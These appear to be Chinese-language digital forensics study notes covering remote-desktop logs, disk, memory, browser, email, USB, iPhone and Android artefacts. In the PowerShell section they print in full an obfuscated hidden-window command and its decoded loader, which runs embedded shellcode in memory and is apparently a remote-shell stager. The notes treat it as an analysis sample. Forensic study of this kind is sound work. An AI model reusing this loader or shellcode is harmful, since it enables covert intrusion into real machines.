2024-11-09 16:37:17 18***14 开始桌面控制(识别码方式) 2024-11-09 16:38:54 18***14 桌面控制(识别码方式) 传入 K-Lite_Codec_Pack_1794_Standard.exe(K-Lite_Codec_Pack_1794_Standard.exe) 2024-11-09 16:39:04 18***14 桌面控制(识别码方式) 传入 vs_BuildTools.exe(vs_BuildTools.exe) 2024-11-09 16:39:50 18***14 桌面控制(识别码方式) 传入 Dism.zip(Dism.zip) 2024-11-09 16:40:55 18***14 结束桌面控制(识别码方式) 2024-11-09 16:43:55 18***12 开始桌面控制(识别码方式) 2024-11-09 16:44:46 18***12 桌面控制(识别码方式) 传入 2e1957ebdb2b0fb25622a01410daeb7.jpg(2e1957ebdb2b0fb25622a01410daeb7.jpg) 2024-11-09 16:44:46 18***12 桌面控制(识别码方式) 传入 7de84988a6b8a4d082c4daa4fd07cb1e.png(7de84988a6b8a4d082c4daa4fd07cb1e.png) 2024-11-09 16:44:46 18***12 桌面控制(识别码方式) 传入 0b46f21fbe096b6361d9c11f09338744eaf8acb9.png(0b46f21fbe096b6361d9c11f09338744eaf8acb9.png) 2024-11-09 16:44:58 18***12 结束桌面控制(识别码方式) 2024-11-10 14:53:31 18***12 开始桌面控制(识别码方式) 2024-11-10 14:54:51 18***12 桌面控制(识别码方式) 传入 我们走在大路上.doc(我们走在大路上.doc) 2024-11-10 14:56:35 18***12 结束桌面控制(识别码方式)
-
-
相对完整的记录信息则可在路径为“C:\Users\damon\AppData\Roaming\Oray\AweSun\log\file.20250808-113617.log(文件传输日志)”的文件中查询(remote_file.20250808-173720.log这类文件中也会记录文件传输信息)。

2) 连接日志文件分析: 连接日志文件以“shell+日期(年月日)+时间(时分秒)”格式命名,该文件完整记录了远程会话的核心交互数据。通过搜索特定关键字可精准定位关键操作痕迹与技术细节:例如,udpwrapper(UDP协议封装相关,反映网络传输底层逻辑)、P2PHelper/P2PStream/P2PAccepter(P2P连接相关组件,可追溯远程连接的建立方式与数据流转路径)、DragSender(明确指向文件传输行为,直接关联数据交互操作)。


操作日志
ToDesk
ToDesk操作页面
ToDesk操作页面(已登录)
①登录信息: 关联登录账号与设备列表,是直接锁定操作主体身份的关键,更是溯源“谁在远程操作”的核心依据。

连接设备列表信息
②被控端信息: “本机设备代码+临时密码”是设备被远程控制的重要凭证。其中,设备代码是唯一标记设备,结合日志能回溯历史连接的完整流程,包括设备何时被控制、由谁发起控制等关键信息。
③主控端信息:“远程设备代码+连接密码”与发起控制行为相对应,下拉可以显示历史连接信息。

历史连接远控设备
ToDesk日志分析
目前已梳理出ToDesk日志文件的 2 个存储目录,具体如下:
- C:\Program Files\ToDesk\Logs

- C:\Users%USERNAME%\AppData\Local\ToDesk\Logs
1) 配置文件解析: 默认存储路径为“C:\Program Files\ToDesk\config.ini”,对该文件进行解析,可提取本机设备代码,若用户是以手机号码完成登录操作的,还能从中获取关联的手机号码信息 ,助力取证场景下设备身份与用户账号关联分析。

配置文件内容
2) 连接记录解析: 默认存储路径为“C:\Users\用户名\AppData\Local\ToDesk\devlist_14723845.json”。对该JSON文件解析,能获取历史连接设备记录信息,除设备代码外,还可提取 UserId(用户标识 )、UserName(设备名 )等数据,助力还原设备远程连接历史。

devlist_14723845.json文件解析
3) 日志文件解析:
A. 通过解析“clientphqghume_2025_08_17.log”日志文件,可定位查本机远程控制其他主机的相关行为记录。具体可通过匹配关键词“Room createMuxRoom server”,提取出连接IP地址、设备标识等关键信息,其中“user”字段对应本机设备代码,“room”字段对应被远程控制的目标设备代码。

clientphqghume_2025_08_17.log 日志分析
B. 解析“servicephqghume_2025_08_17.log”日志文件,可排查本机被其他主机远程控制的相关行为记录。通过匹配关键词“tcp begin connect”,能够提取连接IP地址等关键信息,其中“myid”对应本机设备代码标识,“destid”对应发起控制的远程设备标识(端口为443的IP地址为官方服务器地址,通常可排除在实际控制端范围之外)。


servicephqghume_2025_08_17.log日志分析
远程控制工具(向日葵/ToDesk)重点分析登录信息、日志路径及连接记录,强调操作主体锁定和行为还原。
TrueCrypt
TrueCrypt 是一款曾广泛使用的 免费开源磁盘加密软件,主要用于对硬盘分区、U 盘、移动硬盘等存储设备进行高强度加密,以保护数据隐私和安全。
选择passware kit的Full Disk Encryption功能然后选择TrueCrypt,选择I have memory image
要解密的文件选择,如新建文本文档.txt,选择内存镜象如1.dmp
得到密码AES · Default后,将新建文本文档-unprotected.txt重命名为新建文本文档-unprotected.dmp,然后使用Arsenal Image Mounter将其挂载到电脑上。
windbg
分析蓝屏文件
-
导入dmp镜像:file -> open dump file
-
!analyze -v #在windbg中输入
使用痕迹
最近访问文件
\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\

hash取证
X-ways:找到某个md5为xxx的文件
-
使用X-ways的磁盘快照功能

-
显示哈希值,只要数字不为0那么就可以显示

-
全选文件后,右键导出勾选hash即可。
-
但是部分文件无法计算hash值原因如下
-
原因类别 典型情况 是否能修复 🧩 NTFS 压缩 (LZX/XPRESS) WindowsApps 目录下的 DLL、EXE 等(CompactOS) X-Ways 不支持原生 LZX → 无法读取内容 🔐 EFS 加密文件 (Encrypting File System) 用户主目录、文档中带锁图标文件 需在原系统环境中解密后再取证 🧱 Sparse files / Deduplicated files 系统还原点、卷影副本区、OneDrive 占位符 没有实际数据块可读取 🧩 Alternate Data Stream (ADS) NTFS 附属流,部分无数据 只有主流(:stream)被算 💾 系统锁定文件 / 被占用文件 Pagefile.sys, Hiberfil.sys, Registry hives 若只取逻辑镜像则无法完全访问 📦 虚拟项目 (virtual objects) “Recovered Folders”, “File Slack”, “Free Space” 等 这些不是文件系统项,无哈希 💡 文件大小为 0 空文件 哈希留空(或不计算) 🧩 损坏的文件记录或坏簇 镜像中部分簇缺失 无法读取完整内容被跳过 📁 符号链接 / Junction 指向其他路径的 reparse points 不单独计算 -
这就需要我们把没有计算的文件导出我们进行计算
AXIOM:hash匹配

会匹配所有证据,但效果不如X-ways。
浏览器取证
下载地址
-
使用AXIOM查看

tor浏览器基于firefox
访问历史(磁盘取证)
- 使用AXIOM

网络活动(内存)
内存中极速浏览器最后浏览的网址的登录密码
-
使用memprocFS(Web时间线)构建时间线,找到查看的网站

-
记住对应网址:
browser:[CHROME] type:[VISIT] url:[https://www.hdavchina.com/] info:[影音中国_高清、家庭影院、音响、电影、电视、音乐的专业影音网站] -
打开
passware选择Memory Analysics恢复即可(注意仅勾选几个即可,不然特别耗时间)

-
找到对应网站即可

个人信息取证
emal取证
邮件提取方法一
- 过滤eml文件

- 查看邮件内容

邮件提取方法二
- 使用AXIOM

- 此外还提供了:收件人、发送人、接收时间等过滤选项
邮件编码
| key | value | 说明 |
|---|---|---|
| Content-Transfer-Encoding | base64+xor(08) | 指明邮件的编码方式,如这个就是base64编码和异或8 |
相关信息,可以使用010打开来查看。
磁盘信息取证
系统分区
| 类型 | 名称 | 功能 | 常见盘符 |
|---|---|---|---|
| System Partition | 启动分区(System Partition) | 含有启动引导文件,例如 bootmgr、EFI、BCD |
通常是 隐藏的 EFI 分区 或 C: 前面的 100MB~500MB 分区 |
| Boot Partition | 系统分区(Boot Partition) | 实际安装了 Windows 的分区(包含 Windows 目录) |
通常是 C: |
在标准 GPT/MBR 分区表中,系统卷通常:
| 类型 | 说明 | 大小 | 特征 |
|---|---|---|---|
| EFI System Partition | FAT32 | 100MB~500MB | 含 \EFI\Microsoft\Boot |
| Microsoft Reserved (MSR) | 无文件系统 | 16MB | 不可见 |
| Windows 分区(系统盘) | NTFS | 数十GB | 含 Windows 目录 |
| Recovery 分区 | NTFS | 500MB~2GB | 含 Recovery 目录 |

卷序列号

- 分区开始第10个区域就是卷序列号
- 由于是小端序存储,所以需要倒置
D466CEF666CED7FE
结束扇区

连接设备取证
U盘信息
目录:SYSTEM\ControlSet001\Enum\SWD\WPDBUSENUM\
目录结构分段 英文含义与翻译 说明 SYSTEM 系统注册表根键 存储 Windows 系统级配置的核心注册表根键 ControlSet001 控制集 001 Windows 用于存储硬件、软件配置的集合,ControlSet001 是活动配置集之一 Enum 枚举(Enumeration) 用于枚举系统中所有硬件 / 软件设备,记录设备标识、驱动等信息 SWD 软件设备(Software Device) 用于管理 “软件定义的硬件设备”,如多媒体设备、可移动设备的逻辑识别 WPDBUSENUM Windows 可移动设备总线枚举(Windows Portable Devices Bus Enumeration) WPD 是 Windows Portable Devices 的缩写,负责可移动设备(如 U 盘、便携媒体设备)的总线级枚举与管理

-
信息解释
名称 类型 值 说明 (Default) REG_SZ (value not set) 默认注册表项,值未设置 Capabilities REG_DWORD 0x00000080 (176) 设备功能标识,十六进制与十进制数值 ContainerID REG_SZ 设备容器的全局唯一标识符(GUID),用于设备分组识别 CompatibleIDs REG_MULTI_SZ wpdbusenumfs SWDXGeneric 设备兼容的标识列表,多字符串类型,说明设备兼容类别 ClassGUID REG_SZ 设备类的全局唯一标识符(GUID),用于设备归类 Driver REG_SZ {eec5ad98-8080-425f-922a-dabf3de3f69a}\0001 驱动实例路径,关联具体驱动配置 Mfg REG_SZ Kingston 设备制造商,此处为金士顿(Kingston) Service REG_SZ WUDFWpdFs 设备对应的服务名称,用于加载设备服务 ConfigFlags REG_DWORD 0x00000000 (0) 设备配置标志,十进制 0 表示默认配置 DeviceDesc REG_SZ DataTraveler 3.0 设备描述,属于金士顿 DataTraveler 3.0 系列 U 盘 FriendlyName REG_SZ xing120G 设备友好名称,可理解为用户或系统对设备的别名
进程取证
分析当前进程正在打开的照片
-
使用lovelymem,dump出进程信息。

-
查看dump出的进程表格名字

-
给ai进行分析

-
得到是Microsoft.Photos.exe,过滤查看图片(过程较慢耐心等待)

-
执行后弹出一个对话框

- 高度影响不大,一般设置为1000左右即可
- 宽度影响很大,一般+1,-1进行分析,建议从1080开始往下分析
- 偏移量影响很大,使用这个找到像素点聚集的地方。
-
恢复成功后如下

寻找攻击者创建的隐藏账户
net user #显示正常用户 net user username /del #删除username net user username #显示用户详细信息 net localgroup administrators #显示具有管理员权限的用户,可以查看到具有管理员权限的隐藏账户。
方法一:命令寻找隐藏用户信息
net localgroup administrators #显示具有管理员权限的用户,可以查看到具有管理员权限的隐藏账户。
net user username #显示用户详细信息
用户名 test$
全名
注释
用户的注释
国家/地区代码 000 (系统默认值)
帐户启用 Yes
帐户到期 从不
上次设置密码 2024/12/16 15:24:21
密码到期 2025/1/27 15:24:21
密码可更改 2024/12/16 15:24:21
需要密码 Yes
用户可以更改密码 Yes
允许的工作站 All
登录脚本
用户配置文件
主目录
上次登录 从不
可允许的登录小时数 All
本地组成员 *Administrators *Users
全局组成员 *None
命令成功完成。
方法二:使用日志分析
- Security日志过滤事件ID
4720

- 查看事件信息发现隐藏用户。

方法三:ForensicsTool
使用X-ways提取注册表信息,目录是\Windows\System32\config
然后把除了注册表文件外的其他目录删除,不然软件会报错。

寻找恶意文件相关信息
方法一:火绒剑
- 着重排查安全状态未知的文件

- 通过网络模块确定文件本地和远程地址

方法二:火绒安全
- 安装后自动扫描恶意文件
- 查看隔离区

powershell取证
提交powershell命令中恶意文件的MD5
-
打开事件查看器,等待它加载完日志

-
应用程序和服务日志->Microsoft->Powershell->Operator
-
追查执行远程命令的日志(一般这种命令会有-w hidden参数,来隐藏命令框)

-
发现是base64和gz
powershell -nop -w hidden -c '&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(((''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{0}'')-f''A'',''f'',''M'')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))' -
使用cyberchef解密

-
解压后发现是个PowerShell 恶意代码加载器
function tWk { //获取系统 API 函数地址 Param ($k0M, $ybp) $f2w = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') return $f2w.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($f2w.GetMethod('GetModuleHandle')).Invoke($null, @($k0M)))), $ybp)) } function lVhI5 { //动态定义委托类型 Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $v8K8, [Parameter(Position = 1)] [Type] $nZWM = [Void] ) $p8dl = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $p8dl.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $v8K8).SetImplementationFlags('Runtime, Managed') $p8dl.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $nZWM, $v8K8).SetImplementationFlags('Runtime, Managed') return $p8dl.CreateType() } [Byte[]]$tUZml = //恶意代码加载与执行流程 [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V") [Uint32]$uKrz = 0 $rS = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll VirtualAlloc), (lVhI5 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $tUZml.Length,0x3000, 0x04) [System.Runtime.InteropServices.Marshal]::Copy($tUZml, 0, $rS, $tUZml.length) if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll VirtualProtect), (lVhI5 @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($rS, [Uint32]$tUZml.Length, 0x10, [Ref]$uKrz)) -eq $true) { $yfm6I = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll CreateThread), (lVhI5 @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$rS,[IntPtr]::Zero,0,[IntPtr]::Zero) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll WaitForSingleObject), (lVhI5 @([IntPtr], [Int32]))).Invoke($yfm6I,0xffffffff) | Out-Null } -
分析后是在加载恶意shellcode,我们提取恶意的shellcode的base64编码,使用cyberchef解码得到木马。
-
上传微步分析,得到md5等信息。
加密货币取证
- 关键词:
Cryptocurrency - 着重关注用户的各种笔记软件
webshell
寻找后门
- D盾扫描


Windows内存取证
基本信息取证
MemProcFS-系统信息
包含信息如下:
- windows information:computer name、Current Time(内存镜像制作时间)、BootTime、Time Zone、Version
- Hardware Information:Architecture、Physical Memory、Max Address、CPU、MB Vendor、MB Product、BIOS Vendor、System Vendor
- Users
- Process Informative:Arctive、Inarctive
- Network Intterfaces
进程信息取证
MemProcFS-进程信息
- PID:进程ID,是操作系统为每个正在运行的进程分配的唯一标识符。0 号留给“Idle”进程,4 号永远是 System 进程。
- PPID:父进程ID,表示创建当前进程的父进程的 ID。
- State:进程状态,0 = Active(正在运行或就绪),1 = Terminated(进程对象还在,但已退出,ExitTime 有值)。
- ShortName:进程的短名称,通常是进程对应的可执行文件的文件名,最长 15 字节。例如
VeraCrypt.exe。 - Name:进程的完整名称,多数情况下与
ShortName相同。 - IntegrityLevel:完整性级别,描述进程的安全权限级别,如
High表示高完整性级别,不同的完整性级别决定了进程对系统资源的访问和操作权限。 - User:启动该进程的用户,例如
SYSTEM、LOCAL SERVICE、NETWORK SERVICE或具体的域名用户等,反映了进程的归属用户。 - CreateTime:进程的创建时间
- ExitTime
- Wow64:0 = 原生 64 位进程,1 = 32 位进程跑在 WoW64 子系统。
- EPROCESS:内核空间该进程的 EPROCESS 结构地址(64 位十六进制)。
- PEB:进程环境块在用户态的虚拟地址(64 位进程),包含命令行、环境变量、加载模块列表信息。
- PEB32:32 位进程环境块的地址,与
PEB类似,但针对 32 位进程,在 64 位系统中区分 32 位和 64 位进程环境块信息。 - DTB
- UserDTB:如果开启 KPTI/Shadow PT,这里给用户态页目录;未开启则为 0。
- UserPath:进程在用户空间的可执行文件路径
- KerrnelPath:进程在内核空间的路径表示
- CommandLine:启动进程时使用的完整命令行参数
iPhone取证
ipa文件是苹果的安装文件,类似apk
plist for windows工具
该工具可以打开plist文件,plist文件是苹果生态中“轻量级数据存储”的标准方案。
数据库和文本文件
| 文件名 | 存储信息 |
|---|---|
| Applications.plist | 安装程序信息,包含包名、包权限、安装需求等 |
| info.plist | 设备的基本信息、安装包的基本信息 |
| Lockdown.plist | 系统配置 / 状态属性列表(plist)文件 |
| Manifest.plist | 备份相关的配置 / 元数据字段 |
info.plist(备份文件)

Unique Identifier:设备的唯一标识符(类似设备的 “身份证号”),用于在系统中唯一标记该设备。
Last Backup Date:最后一次备份的日期和时间(这里是2022-01-11 18:47:38),记录设备数据最后一次被备份的时间点。
Build Version:设备系统的内部构建版本(19C56),用于标识系统的具体编译版本。
Device Name:设备名称(iPhone),即用户给设备设置的名称,也可能是系统默认名称。
Display Name:显示名称(iPhone),和设备名称作用类似,用于在界面等场景展示设备标识。**
IMEI:国际移动设备识别码(359195070740324),是手机等移动设备的唯一硬件标识,用于网络识别等。**
ICCID:集成电路卡识别码,通常与 SIM 卡相关,用于标识 SIM 卡所属的运营商等信息(图中未完全展示具体内容)。
Product Type:产品类型(iPhone9,1),用于标识设备的具体型号,iPhone9,1通常对应 iPhone 7 等型号。
Product Version:产品版本(15.2),即设备运行的 iOS 系统版本。
Serial Number:设备的序列号(F18V2BMLHG70),是设备生产时的唯一序列标识,可用于查询设备保修等信息。Phone Number:电话号码,即设备所使用 SIM 卡对应的电话号码。
info.plist(安装包)
包名、权限等
DTCompiler:苹果的 LLVM Clang 编译器
UIRequiredDeviceCapabilities:声明应用运行所需的设备能力,如架构信息
CFBundleInfoDictionaryVersion:Info.plist 文件自身的格式版本
DTPlatformVersion:指定应用所针对的 iOS 平台版本
UIUserInterfaceStyle:设置应用的用户界面风格,Light 表示应用使用浅色模式
CFBundleName:应用的显示名称,即用户在设备主屏幕、应用列表中看到的应用名称。
DTSDKName:指定应用开发时使用的 SDK(软件开发工具包)名称及版本
NSPhotoLibraryUsageDescription:当应用需要访问用户相册(照片库)时,系统会向用户显示的权限说明文字
UIViewControllerBasedStatusBarAppearance:用于控制状态栏外观是否由视图控制器(UIViewController)来管理。
Lockdown.plist

-
SIM与基带相关
SIMStatus:SIM卡状态,值为kCTSIMSupportSIMStatusNotInserted,表示未插入 SIM 卡。
ActivationState:设备激活状态
BasebandVersion:基带版本
BasebandStatus:基带状态,BBInfoAvailable表示基带信息可以利用。
MobileSubscriberCountryCode:移动用户所属国家代码
BasebandChipID:基带芯片标识符 -
硬件与芯片信息
CPUArchitecture:CPU架构,如arm64
DieID:芯片相关标识
FirmwareVersion:固件版本,如iBoot-7429.62.1,iBoot是苹果设备的引导固件。
ProductType:产品类型,如iPhone9.1,对应具体的iPhone型号
DeviceClass:设备类别,如iPhone
ChipSerialNo:芯片序列号
ChipID:芯片标识符 -
连接与标识
HostAttached:是否连接主机,如电脑,true表示已经连接。
WiFiAddress:WiFi地址,一般是设备网卡的MAC地址
BluetoothAddress:蓝牙地址,一般是蓝牙模块的MAC地址
SerialNumber:设备序列号,用于唯一标识识别和保修等
protocolVersion:协议版本
PairRecordProtectionClass:配对记录保护级别 -
系统和功能
ProductVersion:系统版本,15.2表示设备运行的IOS版本
TelephonyCapabbility:电话功能支持
TimeZone:时区,如Asia/Shanghai
HardwareModel:硬件型号
ModelNumber:型号编号 -
其他关键项目
PasswordProtected:密码保护
NonVolatileRAM:RAM相关配置
brickstate:设备 “变砖” 状态标识,因系统损坏、硬件故障、安全锁触发等原因,完全无法开机。
activationstateacknowledged:设备激活状态确认 -
设备关键唯一标识
CertID:数字证书分配
Manifest.plist
BackupKeyBag:备份密钥包,确定备份文件只能被授权设备解密
Version:备份格式包
Date:备份时间
SystemDomainsVersion:系统域版本
ManifestKey:清单密钥,用于加密 / 解密备份 “清单文件。
WasPasscodeSet:是否设置了设备密码
Applications:安装的软件
isEncryted:是否加密
status.plist
IsFullBackup:
Version:
UUID:
Date:记录备份发生的日期或时间戳。
BackupState:表示备份的状态
Android取证
基础知识
分区

Data分区
擦除data分区就相当于执行恢复出厂设置
| 目录名称 | 目录介绍 |
|---|---|
| /data/data// | 存放应用程序数据,每个应用程序对应一个数据目录,例如谷歌Hangouts的应用数据存储在“/data/data/comgoogleandroid.talk/”目录下应用程序数据目录下还可以创建分别存储语音文件、缓存等的子目录。 |
| /data/system/ | 记录系统配置信息,包括锁屏模式、应用安装包列表密码哈希、设备位置经纬度等。 |
| /data/misc/ | 保存wifi账号和vpn等配置信息。 |
| /data/app/ | 用户程序的安装目录。 |
sdcard分区
在Android设备中,SD卡(Secure Digital Card)通常是指外部存储设备,用于扩展设备的存储容量。SD卡通常被分成多个分区,每个分区用于不同的目的。以下是一些常见的SD卡分区及其路径的介绍:
- 外部存储路径(可移除SD卡), :
- /mnt/sdcard, 或, /storage/emulated/0, :在旧版Android系统中,外部存储的根目录通常位于, /mnt/sdcard, 或, /storage/emulated/0, 路径下。这是可移除SD卡的挂载路径,它指向SD卡的根目录。然而,值得注意的是,从Android 4.2开始,Google引入了多用户功能,这些路径实际上指向了每个用户的私有存储空间。
- 外部存储路径(内置SD卡), :
- /storage/emulated/legacy, 或, /mnt/sdcard/legacy, :对于一些较早的设备,其内置的SD卡(可能不可移除)的根目录可以通过这些路径访问。这些路径在某些设备上可以找到,但并不适用于所有设备。
- 外部存储的其他路径, :
- /storage/emulated/, :从Android 4.2开始,外部存储路径被修改为指向每个用户的私有存储空间。, <user_id>, 是用户的ID标识,不同用户的ID不同,每个用户拥有自己的私有存储空间。
- 其他常见路径, :
- /storage/sdcard1, 或, /mnt/extSdCard, :在一些设备上,可能会有第二个SD卡槽,称为"外置SD卡",其挂载路径可能为, /storage/sdcard1, 或, /mnt/extSdCard, 。
- /storage/UsbDriveA, 或, /mnt/usb_storage, :对于支持USB OTG(On-The-Go)的设备,连接外部USB存储设备后,其路径可能会出现在, /storage/UsbDriveA, 或, /mnt/usb_storage, 。
火眼类综合工具
基本信息取证
应用列表
- 安装时间、最后一次升级时间
微信信息取证
- 账户信息:微信内部ID、手机号
- 通讯录:好友信息
- 聊天记录
- 文件传输
图片信息取证
- OCR文字识别
- 图片隐写
APK信息取证
解析对应apk数据
- 包手机安装的app的信息发给ai

- 在模拟器内安装对应app,把app信息文件copy进去
- 如果是xxx.bak信息,对应文件夹在/data/data/com.xxx.xxxx.xxx,重新打开即可解析。(会出现文件夹名不一样,观察文件夹内部文件来确定是属于哪个文件夹。)

签名信息
- serial Number(序列号)

IP信息
- 服务器地址:http://xxxx.xxxxx,可能会进行编码和加密
- 搜索URL等关键字
数据库加密密码
一些数据库如SQLite数据库存在一些加密,如SQLCipher3加密方式。我们需要逆向寻找加密密码,然后使用ForenncisTool解密即可。
- 确定apk对应数据库名字
- 使用jdax反汇编apk,搜索数据库名称,进行逆向分析找到数据库密码。
APK分析工具-mobsf
项目地址:https://github.com/MobSF/Mobile-Security-Framework-MobSF?tab=readme-ov-file
部署命令:docker pull opensecurity/mobile-security-framework-mobsf:latest docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest http://127.0.0.1:8000/ # Default username and password: mobsf/mobsf

查看Activate数


签名信息
SINBER CERTIFICATE

-
签名状态与版本
Binary is signed:二进制文件(即 APK)已被签名。
v1 signature: True:使用了 Android 传统的 v1 签名(基于 JAR 签名机制)。
v2(全 APK 签名,更安全高效)、v3(支持密钥轮换)、v4(增量签名,优化更新流程)。 -
证书主体(Subject)与颁发者(Issuer)
X.509 Subject:证书主体信息,包含:C=US:国家(Country)为美国;ST=California:州(State)为加利福尼亚;L=Mountain View:城市(Locality)为山景城;O=Android:组织(Organization)为 Android;OU=Android:组织单元(Organizational Unit)为 Android;CN=Android:通用名(Common Name)为 Android;E=android@android.com:邮箱为android@android.com。
Issuer:证书颁发者信息,与主体完全一致,说明这是自签名证书 -
签名算法与有效期
Signature Algorithm: rsassa_pkcs1v15:签名算法为RSASSA-PKCS1-v1_5(基于 RSA 的签名方案,用于生成和验证签名)。
Valid From: 2008-02-29 01:33:46+00:00:证书生效时间为 2008 年 2 月 29 日。
Valid To: 2035-07-17 01:33:46+00:00:证书过期时间为 2035 年 7 月 17 日。 -
证书唯一标识与哈希
Serial Number: 0x936eacbe07f201df:证书的序列号(唯一标识该证书)。
Hash Algorithm: sha1:哈希算法使用 SHA-1(用于生成证书内容的哈希值,验证完整性)。
